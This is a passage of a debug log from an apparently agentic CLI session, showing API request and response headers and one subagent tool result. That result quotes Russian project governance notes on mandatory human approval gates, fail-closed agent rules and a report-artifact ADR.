\"2023-06-01\",\n[2026-09-29T07:47:57.897Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:57.907Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:57.912Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:57.916Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:57.924Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1314\",\n[2026-09-29T07:47:57.934Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:57.939Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:47:57.943Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:57.955Z] [STDOUT]     \"x-client-request-id\": \"7adf22ca-362d-424b-a768-043cc85b9df7\",\n[2026-09-29T07:47:57.961Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:57.967Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:57.972Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:57.977Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:57.980Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:57.983Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:57.985Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:57.989Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:57.992Z] [STDOUT]   },\n[2026-09-29T07:47:57.996Z] [STDOUT] }\n[2026-09-29T07:47:58.388Z] [INFO] {\n[2026-09-29T07:47:58.388Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:47:58.388Z] [INFO]   \"message\": {\n[2026-09-29T07:47:58.388Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:47:58.388Z] [INFO]     \"content\": [\n[2026-09-29T07:47:58.388Z] [INFO]       {\n[2026-09-29T07:47:58.388Z] [INFO]         \"tool_use_id\": \"toolu_016LtBu3oWELu31VU7QTrm7E\",\n[2026-09-29T07:47:58.388Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:47:58.388Z] [INFO]         \"content\": \"```\\n\\n### 3. Human gates \u0432 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0442\u043e\u0447\u043a\u0430\u0445\\n\\n\u0422\u0440\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 human gate \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u044b \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c-\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\u043c `\u0447\u0435\u043b\u043e\u0432\u0435\u043a`\\n([ba-ontology.md \u00a73](../../standards/ba-ontology.md), \u04213) \u0438 governance-\u043c\u043e\u0434\u0435\u043b\u0438\\n\u00ab\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u0435 = \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u0435\u00bb ([ADR-0003](0003-creative-mode-governance.md)). \u041f\u043e\u043d\u044f\u0442\u0438\u0435\\n\u00abgate\u00bb \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 gateway/\u0442\u043e\u0447\u043a\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043d\u043e\u0439 \u043d\u043e\u0442\u0430\u0446\u0438\u0438 OMG BPMN 2.0.\\n\\n- **G1 @ \u043a\u043e\u043d\u0435\u0446 \u041f2** \u2014 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0443\u0440\u043e\u0432\u043d\u0435\u0439 BCREQ (\u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\\n  \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438).\\n- **G2 @ \u043a\u043e\u043d\u0435\u0446 \u041f5** \u2014 `risk_analysis` (\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c `\u0447\u0435\u043b\u043e\u0432\u0435\u043a`): high/compliance-\\n  \u0440\u0438\u0441\u043a\u0438 \u0438\u043c\u0435\u044e\u0442 owner-review.\\n- **G3 @ \u043a\u043e\u043d\u0435\u0446 \u041f6** \u2014 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0438 baselining: \u043f\u0435\u0440\u0435\u0445\u043e\u0434 `validated` \u2192 `approved`\\n  \u2192 `baselined` (\u04216).\\n\\n\u041f\u0440\u0430\u0432\u0438\u043b\u043e B3: G1/G2/G3 **\u041d\u0415 \u0414\u041e\u041b\u0416\u041d\u042b** \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 LLM; \u043f\u0440\u043e\u0447\u0438\u0435\\n\u0433\u0440\u0430\u043d\u0438\u0446\u044b \u2014 operation gate.\\n\\n### 4. \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 (\u0436\u0451\u0441\u0442\u043a\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435)\\n\\n---\\n   ([https://github.com/G-Ivan-A/hybrid-Intelligence-lab](https://github.com/G-Ivan-A/hybrid-Intelligence-lab))\\n   \u2014 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0444\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u043d\u0430\u043d\u0438\u0439, \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 \u0438 governance-\u043f\u0440\u0430\u0432\u0438\u043b.\\n\\n### Fail-Closed Semantics (\u041a\u0420\u0418\u0422\u0418\u0427\u041d\u041e)\\n\\n\u0412 **Structured** \u0440\u0435\u0436\u0438\u043c\u0435, \u0435\u0441\u043b\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043e \u0432 `AI_GOVERNANCE.md` \u0438\u043b\u0438\\n`AI_QUICK_RULES.md`:\\n\\n- \u041d\u0415 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0439 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435;\\n- \u0441\u043e\u0437\u0434\u0430\u0439 issue \u0441 \u043c\u0435\u0442\u043a\u043e\u0439 `question:capability`;\\n- \u0434\u043e\u0436\u0434\u0438\u0441\u044c human review.\\n\\n\u041a\u043e\u0440\u043e\u0442\u043a\u043e: **Structured = fail-closed**. \u0415\u0441\u043b\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043e \u2014 \u0430\u0433\u0435\u043d\u0442 \u043d\u0435\\n\u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442, \u0430 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 human review.\\n\\n\u0412 **Creative** \u0440\u0435\u0436\u0438\u043c\u0435, \u0435\u0441\u043b\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043e, \u043d\u043e \u043d\u0443\u0436\u043d\u043e \u0434\u043b\u044f \u0446\u0435\u043b\u0438 issue:\\n---\\n15:  - \\\"runs/2026/RUN-0060/outputs/L4-combined-gap-report.md\\\"\\n23:# ADR-011: \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438\\n32:## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\\n44:| [RUN-0060](../../runs/2026/RUN-0060/) | 2026-08-27 | `L4-combined-gap-report.md`, `hh-api-source-index.md` | \u0421\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0411\u0410 \u0438 \u0421\u0410 \u0432 \u043e\u0434\u0438\u043d \u043e\u0442\u0447\u0451\u0442: 10 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0424\u0422, 27 \u043e\u0446\u0435\u043d\u0451\u043d\u043d\u044b\u0445 \u043f\u043e\u0434\u043f\u0443\u043d\u043a\u0442\u043e\u0432 \u0422\u0417, 11 Activity-\u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c, 53 \u0441\u043d\u043e\u0441\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438, SHA-256 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 |\\n46:### \u041e\u0431\u0449\u0435\u0435 \u0443 \u0432\u0441\u0435\u0445 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432\\n56:### \u0427\u0435\u043c \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u043b\u0438\u0441\u044c\\n59:   `architecture-spike.md` \u0432 RUN-0059 \u0438 `L4` \u0432 RUN-0060. `L3` \u0432 RUN-0056 \u2014 \u043f\u043b\u0430\u043d\\n72:\u041e\u0442\u0447\u0451\u0442 [`RUN-0060/outputs/L4-combined-gap-report.md`](../../runs/2026/RUN-0060/outputs/L4-combined-gap-report.md)\\n82:## \u0420\u0435\u0448\u0435\u043d\u0438\u0435\\n84:### 1. \u0414\u0432\u0430 \u0443\u0440\u043e\u0432\u043d\u044f \u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438\\n92:| **L2/L4** | `L4-combined-gap-report.md` | \u0431\u0435\u0437 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f | \u0411\u0410, \u0421\u0410, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u0432 L1 |\\n100:   | \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 | \u0412\u0435\u0440\u0434\u0438\u043a\u0442 | \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 | \u0420\u0430\u0437\u0434\u0435\u043b L4 |\\n108:\u0417\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e: JSON, \u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c\u044b, \u0438\u043c\u0435\u043d\u0430 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 API. \u0412\u0441\u0451 \u044d\u0442\u043e \u0443\u0440\u043e\u0432\u0435\u043d\u044c L4.\\n110:**L2/L4 \u2014 \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440.** \u041e\u0434\u0438\u043d \u0444\u0430\u0439\u043b \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d, \u0440\u0430\u0437\u0434\u0435\u043b\u044b\\n113:### 2. \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 L4\\n149:### 3. \u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0432\u0435\u0434\u0435\u043d\u0438\u044f\\n164:### 4. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0441\u0442\u0438 \u0441\u0441\u044b\u043b\u043e\u043a \u0434\u043b\u044f Human Review\\n223:### 5. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438\\n246:\u0421\u0432\u043e\u0434 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u0432 \u0432 L1 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0448\u0430\u0433\u0430 5 \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0433\u043e\u0442\u043e\u0432\u043e\u0433\u043e L4.\\n270:## \u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\\n295:| \u0420\u043e\u0441\u0442 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | \u041e\u0442\u0447\u0451\u0442 \u043d\u0435 \u0443\u0441\u043f\u0435\u0432\u0430\u044e\u0442 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0432 \u0441\u0440\u043e\u043a | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e L1; L4 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u043c |\\n298:## \u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u044b (\u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b)\\n312:## \u0421\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b\\n316:- [`runs/2026/RUN-0060/outputs/L4-combined-gap-report.md`](../../runs/2026/RUN-0060/outputs/L4-combined-gap-report.md) \u2014 \u044d\u0442\u0430\u043b\u043e\u043d \u0444\u043e\u0440\u043c\u044b L4\\n\\n1dcca69 2026-08-28\",\n[2026-09-29T07:47:58.388Z] [INFO]         \"is_error\": false\n[2026-09-29T07:47:58.388Z] [INFO]       }\n[2026-09-29T07:47:58.388Z] [INFO]     ]\n[2026-09-29T07:47:58.388Z] [INFO]   },\n[2026-09-29T07:47:58.388Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:47:58.388Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:58.388Z] [INFO]   \"uuid\": \"e0f4d09f-1302-447a-8230-2ff6a7e1f690\",\n[2026-09-29T07:47:58.388Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:58.377Z\",\n[2026-09-29T07:47:58.388Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:47:58.388Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:47:58.388Z] [INFO] }\n[2026-09-29T07:47:58.434Z] [STDOUT] [log_3e044e] sending request {\n[2026-09-29T07:47:58.441Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:58.447Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:58.453Z] [STDOUT]   options: {\n[2026-09-29T07:47:58.457Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:58.468Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:58.480Z] [STDOUT]     body: {\n[2026-09-29T07:47:58.485Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:58.488Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:58.492Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:58.497Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:58.508Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:58.511Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:58.518Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:58.521Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:58.524Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:58.527Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:58.534Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:58.540Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:58.544Z] [STDOUT]     },\n[2026-09-29T07:47:58.548Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:58.565Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:58.569Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:47:58.575Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:47:58.593Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:58.602Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:58.619Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:58.623Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:58.634Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:58.641Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:58.649Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:58.661Z] [STDOUT]     },\n[2026-09-29T07:47:58.670Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:58.695Z] [STDOUT]   },\n[2026-09-29T07:47:58.708Z] [STDOUT]   headers: {\n[2026-09-29T07:47:58.711Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:58.719Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:58.756Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:58.775Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:58.779Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:58.786Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:58.792Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:58.803Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:58.816Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:58.818Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:47:58.838Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:47:58.848Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1520\",\n[2026-09-29T07:47:58.862Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:58.870Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:47:58.886Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:58.900Z] [STDOUT]     \"x-client-request-id\": \"87a81c70-4957-4949-9b5d-5f9d201f9571\",\n[2026-09-29T07:47:58.907Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:58.913Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:58.970Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:58.974Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:58.986Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:58.995Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:59.001Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:59.005Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:59.008Z] [STDOUT]   },\n[2026-09-29T07:47:59.010Z] [STDOUT] }\n[2026-09-29T07:47:59.013Z] [STDOUT] [log_7307a5, request-id: \"req_011CfXMx3NUvwiWcYL9wTqhP\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1114ms\n[2026-09-29T07:47:59.019Z] [STDOUT] [log_7307a5] response start {\n[2026-09-29T07:47:59.027Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:59.035Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:59.041Z] [STDOUT]   headers: {\n[2026-09-29T07:47:59.046Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:59.057Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:59.061Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:59.065Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:59.067Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:59.069Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:59.074Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:59.078Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:59.082Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:59.085Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:59.094Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:59.099Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:59.102Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:59.106Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:59.111Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:59.117Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:59.127Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:59.131Z] [STDOUT]     \"cf-ray\": \"a42961fd598fdbb5-FRA\",\n[2026-09-29T07:47:59.135Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:59.138Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:59.140Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:59.145Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:59.149Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:58 GMT\",\n[2026-09-29T07:47:59.155Z] [STDOUT]     \"request-id\": \"req_011CfXMx3NUvwiWcYL9wTqhP\",\n[2026-09-29T07:47:59.160Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:59.166Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:59.173Z] [STDOUT]     traceresponse: \"00-7950aa0c4243f2cfc1a9c334bc0ab34a-0071f23248a1b7bf-01\",\n[2026-09-29T07:47:59.184Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:59.194Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:59.204Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:59.221Z] [STDOUT]   },\n[2026-09-29T07:47:59.229Z] [STDOUT]   durationMs: 1114,\n[2026-09-29T07:47:59.238Z] [STDOUT] }\n[2026-09-29T07:47:59.245Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:59.248Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:58 GMT\",\n[2026-09-29T07:47:59.253Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:59.263Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:59.267Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:59.273Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:59.277Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:59.280Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:59.283Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:59.286Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:59.288Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:59.290Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:59.294Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:59.299Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:59.304Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:59.307Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:59.317Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:59.322Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:59.327Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:59.330Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:59.339Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:59.351Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:59.356Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:59.358Z] [STDOUT]   \"request-id\": \"req_011CfXMx3NUvwiWcYL9wTqhP\",\n[2026-09-29T07:47:59.360Z] [STDOUT]   \"traceresponse\": \"00-7950aa0c4243f2cfc1a9c334bc0ab34a-0071f23248a1b7bf-01\",\n[2026-09-29T07:47:59.363Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:59.367Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:59.374Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:59.377Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:59.380Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:59.385Z] [STDOUT]   \"cf-ray\": \"a42961fd598fdbb5-FRA\",\n[2026-09-29T07:47:59.390Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', 